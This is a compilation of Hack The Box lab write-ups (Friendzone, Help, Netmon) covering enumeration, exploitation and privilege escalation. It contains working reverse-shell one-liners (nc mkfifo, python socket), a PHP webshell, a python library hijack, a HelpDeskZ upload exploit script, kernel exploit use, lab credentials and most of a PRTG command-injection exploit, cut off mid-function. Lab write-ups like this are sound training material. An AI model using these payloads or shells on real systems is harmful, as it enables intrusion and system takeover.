HTB – Friendzone

Let’s start off with scanning with the nmap to check open ports.

c:\PENTEST>nmap -sC -sV
Starting Nmap 7.70 ( ) at 2019-08-30 14:58 W. Europe Summer Time
Stats: 0:00:38 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.79% done; ETC: 14:58 (0:00:00 remaining)
Stats: 0:00:54 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.79% done; ETC: 14:58 (0:00:00 remaining)
Nmap scan report for (
Host is up (0.016s latency).
Not shown: 993 closed ports
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: FriendZone Corp Administrator login page
| ssl-cert: Subject:
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE,; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h00m36s, deviation: 1h43m54s, median: -37s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2019-08-30T15:57:54+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-30 14:57:53
|_ start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 66.62 seconds



On exploring, vulnerable machine IP in the web browser, it welcomes us with following web page as shown below.

Here also I notice and this could be a clue for proceeding further. As per nmap scan result, port 53 is open for TCP which means there may be some possibilities for DNS Zone Transfer.

I didn’t find any other useful information on the home page, so I try to enumerate web directories with the help of DIRB. But this was also not worthwhile for us because the enumerated result was not valuable when further inspected.

Consequently, I switch to another enumeration service and it was a null session SMB enumeration. So, with the help of SMBmap, which is a Linux utility, we try to enumerate smb shared directories.

root@kali:~/htb# smbmap -H -r
[+] Finding open SMB ports....
[+] Guest SMB session established on
[+] IP:	Name:                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	print$                                            	NO ACCESS
	Files                                             	NO ACCESS
	general                                           	READ ONLY
	dr--r--r--                0 Wed Jan 16 15:10:51 2019	.
	dr--r--r--                0 Wed Jan 23 16:51:02 2019	..
	fr--r--r--               57 Tue Oct  9 19:52:42 2018	creds.txt
	Development                                       	READ, WRITE
	dr--r--r--                0 Fri Aug 30 09:04:55 2019	.
	dr--r--r--                0 Wed Jan 23 16:51:02 2019	..
	fr--r--r--             5492 Thu Aug 29 08:04:05 2019	php-reverse-shell.php
	IPC$                                              	NO ACCESS

I found two shared directories and among those /general had read-only permissions and /Development has read/write both permissions. so, when we accessed /general directory, we obtained a text file named as “creds”.

In this file, I found the following credential which could be used later.


Further, I saved /  in the /etc/hosts file for accessing this domain.

On the exploring we got a login portal where I submitted the credential that we have found above.

So, we found another hint “/dashboard.php” which was a web directory.

On enumerating /dashboard.php we found following web page; here it gave a message “image_name param is missing”.

Therefore, we injected “default is image_id=a.jpg&pagename=timestamp” in the URL and obtain following web page where we notice timestamp, and this looked little suspicious towards LFI.

Exploiting LFI

To ensure that I try to call timestamp.php and by obtaining time stamp on the screen it was confirmed that it is vulnerable to LFI. Now let’s extend LFI to RCE to obtain shell of the host machine.

As we knew that /Development is the only directory that has read/write both permissions, hence we can inject our malicious file inside this directory and execute the backdoor by exploiting LFI to obtain a reverse connection.

Then I have used pentest’s monkey php reverse shell with little modification such $lhost & $lport as a backdoor that to be injected inside the host machine.

So, we connect to SMB with the help of smbclient and upload the php-reverse-shell inside /Development. Simultaneously we launched netcat listener in a new terminal to obtain a reverse connection from the host machine.

Then execute the uploaded php backdoor with the privilege of LFI as shown below:

As soon as we executed above URL in the browser, we have access netcat session and to obtain proper shell we import python pty one-liner and found our 1st flag inside /home/friend.

C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
connect to [] from [] 49888
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
15:25:48 up 17:31, 0 users, load average: 0.00, 0.00, 0.00
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@FriendZone:/$ pwd
www-data@FriendZone:/$ cat /home/friend/user.txt
cat /home/friend/user.txt
www-data@FriendZone:/$ cd /var/www
cd /var/www
www-data@FriendZone:/var/www$ ls
admin       friendzoneportal       html             uploads
friendzone  friendzoneportaladmin  mysql_data.conf
www-data@FriendZone:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend



Privilege Escalation

So, with the help of above-enumerated creds, we try to access ssh and luckily, we connected to ssh and try to identify weak permission file or role for escalating privileges to access root shell or root flag.

C:\Users\jacco>ssh friend@
friend@'s password: Agpyu12!0.213$
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

* Documentation:
* Management:
* Support:

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
You have mail.
Last login: Thu Jan 24 01:20:15 2019 from
friend@FriendZone:~$ cd /tmp
friend@FriendZone:/tmp$ ls
friend@FriendZone:/tmp$ wget
--2019-08-30 15:39:18--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64 100%[=================================================>] 2.94M 6.73MB/s in 0.4s

2019-08-30 15:39:18 (6.73 MB/s) - ‘pspy64’ saved [3078592/3078592]

friend@FriendZone:/tmp$ chmod 777 pspy64
friend@FriendZone:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855

██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2019/08/30 15:40:50 CMD: UID=0 PID=98 |
2019/08/30 15:40:50 CMD: UID=0 PID=9 |
2019/08/30 15:40:50 CMD: UID=0 PID=89 |
2019/08/30 15:40:50 CMD: UID=0 PID=859 | /usr/sbin/smbd --foreground --no-process-group
2019/08/30 15:40:50 CMD: UID=0 PID=857 | /usr/sbin/smbd --foreground --no-process-group
2019/08/30 15:40:50 CMD: UID=0 PID=856 | /usr/sbin/smbd --foreground --no-process-group
2019/08/30 15:40:50 CMD: UID=107 PID=853 | /usr/sbin/exim4 -bd -q30m
2019/08/30 15:40:50 CMD: UID=0 PID=85 |
2019/08/30 15:40:50 CMD: UID=0 PID=10 |
2019/08/30 15:40:50 CMD: UID=0 PID=1 | /sbin/init splash
2019/08/30 15:42:01 CMD: UID=0 PID=14751 | /bin/sh -c /opt/server_admin/
2019/08/30 15:42:01 CMD: UID=0 PID=14750 | /bin/sh -c /opt/server_admin/
2019/08/30 15:42:01 CMD: UID=0 PID=14749 | /usr/sbin/CRON -f
^CExiting program... (interrupt)

On running pspy64s, we notice that a python is executing by root which was surprising to us.

So, I decided to take a look at what is script was doing, therefore I used the cat command to read what this script is running. I didn’t find any useful operation is being executed by this script other than import a python library “” hence I take its advantage in privilege escalation.

friend@FriendZone:/tmp$ cat /opt/server_admin/

import os

to_address = ""
from_address = ""

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to -from -ssl -port 465 -auth -smtp scheduled results email +cc +bc -v -user you -pass "PAPAP"'''


# I need to edit the script later
# Sam ~ python developer

Taking privilege of python library, we can create a bogus python library named as to call root flag through this file.

friend@FriendZone:/tmp$ ls -la /usr/lib/python2.7/
-rwxrwxrwx 1 root root 25952 Aug 30 15:47 /usr/lib/python2.7/
friend@FriendZone:/tmp$ echo "system ('cat /root/root.txt > /tmp/flag')" >> /usr/lib/python2.7/
friend@FriendZone:/tmp$ ls
friend@FriendZone:/tmp$ cat flag

or to catch a root shell
friend@FriendZone:/usr/lib/python2.7$ echo "import os
> os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9876 >/tmp/f')" >>

C:\Users\jacco>nc -lvp 9876
listening on [any] 9876 ...
connect to [] from [] 59782
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Credits to :

Author: Jacco Straathof

HTB – Help

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-01-23 08:22:00 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Discovered open port 3000/tcp on

masscan finds three open ports. Let’s do one better with nmap scanning the discovered ports.

# nmap -n -v -Pn -p22,80,3000 -A --reason -oN nmap.txt
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

We have two http services in the form of Apache and Node.js.


The default Apache page suggests more enumeration needs to be done.

Directory/File Enumeration

Let’s fuzz it with gobuster and DirBuster’s wordlist just to see what we’ll get.

# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 50 -e -u

Gobuster v2.0.0              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 50
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
2019/01/23 08:34:06 Starting gobuster
===================================================== (Status: 301) (Status: 301)
2019/01/23 08:39:48 Finished

I think I’ve seen enough. Let’s pay /support a visit.

Well, well, well. What do we have here? This must be our first attack surface.

HelpDeskZ 1.0.2 – Unauthenticated Arbitrary File Upload

Searching Google for an exploit in HelpDeskZ led me to EDB-ID 40300. Anyway, it looks like the site is running the vulnerable version.


According to the exploit, HelpDeskZ suffers from an unauthenticated arbitrary file upload vulnerability where the software allows file attachment with ticket submission. The minor problem lies with determining the filename of the uploaded file. However, because the eventual file name depends on the time the file was uploaded, we can make an educated guess of the timestamp by shaving a couple of seconds from the current time.

Let’s submit a fake ticket and attach test.php, which is nothing more than the following PHP code.

<?php echo shell_exec($_GET[0]); ?>

Hmm. It says “File is not allowed”. Is that so? Let’s take a look at the source code controlling this behavior.

if(!isset($error_msg) && $settings['ticket_attachment']==1){
  $uploaddir = UPLOAD_DIR.'tickets/';   
  if($_FILES['attachment']['error'] == 0){
    $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
    $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
    $fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
    $uploadedfile = $uploaddir.$filename;
    if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
      $show_step2 = true;
      $error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
      $fileverification = verifyAttachment($_FILES['attachment']);
        case '1':
        $show_step2 = true;
        $error_msg = $LANG['INVALID_FILE_EXTENSION'];
        case '2':
        $show_step2 = true;
        $error_msg = $LANG['FILE_NOT_ALLOWED'];
        case '3':
        $show_step2 = true;
        $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);

Two things worth nothing here. First of all, the final upload directory ends with tickets/. Second, regardless of the file verification results, the submission will ALWAYS progress to step 2 after the file has been uploaded.

In the words  : Fake News!

Where is the upload directory? If I have to guess, I would say the actual upload directory is like this:

I cheated a bit. I actually enumerated the site for directories at a deeper level. :laughing:

Now, let’s re-purpose the exploit code and make it more adaptive to file extensions.
#Usage: python test.php

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
extension = fileName.split(".")[-1]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl + md5hash + '.' + extension
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url

print "Sorry, I did not find anything"

Armed with the insight gleaned from the source code, let’s upload again and find out where it’s uploaded to.

c:\PENTEST>python test.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit

browse to


Let’s urlencode the following reverse shell in Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
└──╼ $nc -nlvp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 55704
/bin/sh: 0: can't access tty; job control turned off
$ cd /home
$ ls

Privilege Escalation

On enumerating the box the kernel version is found to be 4.4.0-116-generic. A google search results in a kernel exploit for the  version.
Start a simple http server and transfer it to the box then execute it.

help@help:/tmp$ wget
--2019-08-29 04:40:29--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 5777 (5.6K) [text/plain]
Saving to: ‘44298.c’

44298.c 100%[====================>] 5.64K --.-KB/s in 0s

2019-08-29 04:40:29 (162 MB/s) - ‘44298.c’ saved [5777/5777]
help@help:/tmp$ gcc 44298.c -o exploit
help@help:/tmp$ chmod +x exploit
help@help:/tmp$ whoami
help@help:/tmp$ ./exploit
task_struct = ffff880038a29c00
uidptr = ffff88003bcb2c04
spawning root shell
root@help:/tmp# cd /
root@help:/# cd root
root@help:/root# ls
root@help:/root# cat root.txt


$ wget
--2022-03-11 03:17:15--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 13728 (13K) [text/x-csrc]
Saving to: '45010.c'

0K .......... ... 100% 152K=0.09s

2022-03-11 03:17:15 (152 KB/s) - '45010.c' saved [13728/13728]

$ gcc 45010.c -o puckiestyle
$ ./puckiestyle
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
python -c 'import pty; pty.spawn("bash")'



I was intrigued by the message that there’s a way to retrieve credentials by providing the right query. Turns out the Node.js service was running GraphQL, an open-source data query and manipulation language for APIs. I’m not  familiar with GraphQL so this is an excellent opportunity to learn something about it.

root@kali:~/htb# apt-get install jq
root@kali:~/htb# curl -s -G --data-urlencode "query={user}" | jq
"errors": [
"message": "Field \"user\" of type \"User\" must have a selection of subfields. Did you mean \"user { ... }\"?",
"locations": [
"line": 1,
"column": 2
root@kali:~/htb# curl -s -G --data-urlencode 'query={user {username} }' | jq
"data": {
"user": {
"username": ""
root@kali:~/htb# curl -s -G --data-urlencode 'query={user {username, password} }' | jq
"data": {
"user": {
"username": "",
"password": "5d3c93182bb20f07b994a7f617e99cff"

or with Burp

I cracked the MD5 password with

5d3c93182bb20f07b994a7f617e99cff MD5 godhelpmeplz

note:for the file upload exploit to work i had to change the timezone

credits to :

the sqlinjection part

The SQLi is in the last param. I can show by adding and 1=1-- - to the end of the url. Same download pop up. But if I add and 1=2-- - to the end of the url, I get:error -> thus blind isql injection

sqlmap -r ticket_attachment.request --level 5 --risk 3 -p param[]

I’ve got the injection. Now I’ll run with --dump. One table that looks interesting is:

Database: support
Table: staff
[1 entry]
| id | admin | login      | email              | status | avatar | username | fullname      | timezone | password                                            | signature                      | last_login | department         | newticket_notification |                     
| 1  | 1     | 1547216217 | | Enable | NULL   | admin    | Administrator | <blank>  | d318f44739dced66793b1a603028133a76ae680e (Welcome1) | Best regards,\r\nAdministrator | 1543429746 | a:1:{i:0;s:1:"1";} | 0                      |                     

Specifically the password hash which sqlmap was able to break as “Welcome1”.


Knowing SSH was open, I tried to connect using a handful of names – “helpme”, “admin”, “root”, “help”. help worked:

└──╼ $ssh help@
help@'s password: Welcome1
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64)

* Documentation:
* Management:
* Support:
You have new mail.
Last login: Fri Jan 11 06:18:50 2019

Author: Jacco Straathof


Let’s start off with scanning with the nmap to check open ports.

c:\PENTEST>nmap -Pn -sC -sV -oA netmon-nmap
Starting Nmap 7.70 ( ) at 2019-08-28 09:02 W. Europe Summer Time
Nmap scan report for
Host is up (0.014s latency).
Not shown: 995 closed ports
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -37s, deviation: 0s, median: -37s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-28 09:02:38
|_ start_date: 2019-08-28 08:56:53

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds

We immediately proceed towards port 80 when we see it open. We find the PRTG Network Monitor page. But to use this dashboard, we need the login credentials.

In the nmap scan earlier, we saw that the FTP port 21 is open as well allows Anonymous Login. So, we login the FTP using the Anonymous as Login as well as password. After successfully logging, we use the ls command to list all the files that are shared. We see that we Users Directory available so we traverse into it using the cd command. Here, we have 2 more directories, Administrator and Public. We don’t have permission to access the Administrator directory so we move into the Public Directory. Here we find the user.txt file. We use the get command to download this file onto our system. Hence, we got our first flag, that is; the user flag.

Now we need to get the root flag. we found this post. This gives us the location of the data that PRTG Network Monitor stores, that is “%programdata%\Paessler\PRTG Network Monitor”. As we still have the FTP connection, we went to ProgramData directory and then traversed all the way to the location mentioned. Here we located an old configuration file. We downloaded this file to our system so that we can analyse it closely.

ftp> cd ProgramData
250 CWD command successful.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 08:05AM <DIR> Application Data
02-03-19 08:05AM <DIR> Desktop
02-03-19 08:05AM <DIR> Documents
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR>
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 08:05AM <DIR> Start Menu
02-03-19 12:15AM <DIR> TEMP
02-03-19 08:05AM <DIR> Templates
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.
ftp: 729 bytes received in 0.07Seconds 11.22Kbytes/sec.
ftp> cd Paessler
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
PRTG Network Monitor
226 Transfer complete.
ftp: 25 bytes received in 0.00Seconds 25000.00Kbytes/sec.

After successfully downloading and searching through many lines of code, we stumbled upon the password, that was used previously. We took a guess here, as this was the previous configuration and it contains the year 2018 and whenever there is a current date in the password then they could be updated with the change in the date to the latest date.

This means, that the previous password was PrTg@dmin2018 and since the current year is 2019, we replaced 2018 in the password by 2019. This was an educated guess we made. So, using the new login credentials, we successfully logged in the PRTG Network Monitor Dashboard.

Login Name: prtgadmin
Password: PrTg@dmin2019


After looking around the dashboard for some time, we didn’t find anything that could help  So, we we searched the exploit dB for PRTG Network Monitor and found this exploit. On further researching on the internet about this exploit, we found this script on GitHub. This script creates a PowerShell file and then it uses it to run commands on the target system to create a user. But in order to work, it needs the cookie that was used in the original login in the dashboard of the PRTG Network Monitor. We capture the request using the Burp Suite. Upon close inspection of the captured packet, we find the cookie that we require.

Now, we clone the git directory that contains the script that we require to create a new user. After giving the necessary permissions to the file to run. We run the file, with the Target IP Address and the cookie, captured as parameters. This script can take some time to run depending on your connectivity speed. But after successfully running it creates a user with following credentials.

Now that, we have the user created on the target machine with Administrative Rights, let’s complete this challenge. , it didn’t work for me i used

root@kali:~/htb/netmon# python -i -p 80 --lhost --lport 4444 --user prtgadmin --password PrTg@dmin2019
[+] [PRTG/] is Vulnerable!

[*] Exploiting [] as [prtgadmin/PrTg@dmin2019]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] File staged at [C:\Users\Public\tester.txt] successfully with objid of [2018]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2018] staged for execution
[*] Generate msfvenom payload with [LHOST= LPORT=4444 OUTPUT=/tmp/ngeafvls.dll]
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Hosting payload at [\\\PCBIRDQR]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Command staged at [C:\Users\Public\tester.txt] successfully with objid of [2019]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2019] staged for execution
[*] Attempting to kill the impacket thread
[-] Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!
[-] ps aux | grep <script name> and kill -9 <pid> if it is still running :)
[-] The connection will eventually time out.

[+] Listening on [ for the reverse shell!]
listening on [any] 4444 ...
[*] Incoming connection (,54363)
[*] User NETMON\ authenticated successfully
[*] :::00::4141414141414141
connect to [] from (UNKNOWN) [] 54364
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

nt authority\system

C:\Windows\system32>net user puck iestyle2019! /add
net user puck iestyle2019! /add
The command completed successfully.

C:\Windows\system32>net localgroup Administrators puck /add
net localgroup Administrators puck /add
The command completed successfully.


# Title:        PRTG < 18.2.39 Authenticated Command Injection (Reverse Shell)
# Reference:    CVE-2018-9276
# Author:       wildkindcc
# Date:         31/03/2019
# Description:  Re-write of exploit released by M4LVO (
#               So skid friendly it even setups up netcat
import colorama
import argparse
import httplib, urllib
import traceback
import ssl
import random
import string
import json
import sys
import time
import os
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
import threading
import logging
import socket

# Adds colourised notifications to text
# Colourama is not neccesary for ANSI compliant terminals; however, it will make it work in windows.
error = '\033[31m[!] \033[0m'       # [!] Red
fail = '\033[31m[-] \033[0m'        # [-] Red
success = '\033[32m[+] \033[0m'     # [+] Green
event = '\033[34m[*] \033[0m'       # [*] Blue
debug = '\033[35m[%] \033[0m'       # [%] Magenta
notification = '[-] '               # [-]

# argparse

def get_args():
    # This function parses and return arguments passed in
    # Help (-h --help) is automagically defined.
    # Assign description to the help doc
    parser = argparse.ArgumentParser(
    # Add arguments
        '-i', '--host', type=str, help='IP address / Hostname of vulnerable PRTG server', required=True)
        '-p', '--port', type=str, help='Port number', required=True)
        '--lhost', type=str, help='LHOST for MSFVENOM', required=True)
        '--lport', type=str, help='LPORT for MSFVENOM', required=True)        
        '--user', type=str, help='Administrator Username', required=False, default="prtgadmin")    
        '--password', type=str, help='Administrator Password', required=False, default="prtgadmin")        
        '--https', action='store_true', help='Negotiate SSL connection to the server (Requires socket to be compiled with SSL support)', required=False, default=None)        
    # Array for all arguments passed to script
    args = parser.parse_args()

    # Assign args to variables
    host =
    port = args.port
    lhost = args.lhost
    lport = args.lport
    user = args.user
    password = args.password
    https = args.https
    # Return all variable values
    return host, port, lhost, lport, user, password, https

host, port, lhost, lport, user, password, https = get_args()
url = "%s:%s" % (host, port)

def checkVersion():
    # Check for SSL
    if https:
        conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
        conn = httplib.HTTPConnection(url)   
    conn.request("GET", "/")
    response = conn.getresponse()
    version = response.getheader('Server')
    versionSplit = []
    vulnerable = True

    for var in version.split("/")[1].split(".")[:3]:

    if not int(versionSplit[0]) <= 18:
        print versionSplit[0]
        vulnerable = False
    if not int(versionSplit[1]) <= 2:
        print versionSplit[1]
        vulnerable = False

    if not int(versionSplit[2]) < 39:
        print versionSplit[2]
        vulnerable = False            

    if not vulnerable:
        raise ValueError('Server returned version [{}]'.format(version), "Versions < 18.2.39 are vulnerable to CVE-2018-9276")
        print success + "[{}] is Vulnerable!".format(version)
        return 0

def randomString(stringLength=8):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))

# Connects to the PRTG server instance and retrieves a valid session cookie.
def get_session():
    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded'
    payload = "loginurl=%2Fmyaccount.htm%3Ftabid%3D2&username={}&password={}".format(user, password)

    # Check for SSL
    if https:
        conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
        conn = httplib.HTTPConnection(url)   
    conn.request("POST", "/public/checklogin.htm", payload, headers)
    response = conn.getresponse()
    header = response.getheader('set-cookie')
    if not header:
        raise ValueError('Session not obtained.  Check your usename/password and try again!')
        print success + "Session obtained for [{}:{}]".format(user, password)
        session = header.split(";")[0]
        return session  

def createFile(fileLocation):
    # Prepare the environment by creating an output file required for injection
    session = get_session()
    name = randomString()

    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With' : 'XMLHttpRequest',
        'Cookie' : str(session)
